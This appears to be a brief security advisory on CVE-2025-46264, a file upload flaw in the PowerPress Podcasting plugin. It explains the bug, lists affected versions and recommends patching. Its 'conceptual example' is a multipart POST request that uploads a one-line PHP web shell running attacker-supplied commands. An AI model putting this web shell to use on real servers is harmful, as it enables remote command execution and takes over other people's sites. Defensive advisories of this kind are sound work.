Overview
CVE-2025-46264 is a severe security vulnerability that affects the PowerPress Podcasting software. The flaw enables unrestricted upload of files with dangerous types, which can lead to a significant compromise of a system’s security. PowerPress Podcasting is a popular podcasting platform and is widely used for creating, managing, and publishing podcasts. As such, this vulnerability could have broad and significant impacts. It is critical for organizations and individuals using PowerPress Podcasting to understand this vulnerability, its potential impacts, and how to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-46264
Severity: Critical (CVSS score: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
PowerPress Podcasting | n/a to 11.12.5
How the Exploit Works
CVE-2025-46264 is an unrestricted file upload vulnerability. It lies in the PowerPress Podcasting software’s failure to properly validate and restrict the types of files that can be uploaded. This allows an attacker to upload a malicious web shell file onto the web server. Once uploaded, the attacker can execute the web shell, which can lead to unauthorized access, data leakage, or even full system compromise.
Conceptual Example Code
A potential exploit might involve sending an HTTP POST request with a malicious file attached. Here’s a conceptual example:
POST /upload HTTP/1.1
Host: vulnerable-podcasting-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP web shell that can execute system commands.
Mitigation Guidance
The recommended mitigation strategy for CVE-2025-46264 is to apply the vendor-provided patch. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. However, these are not permanent solutions and can only limit the potential for exploitation, not prevent it entirely. Regular system updates and patches are the most effective way to ensure security against such vulnerabilities.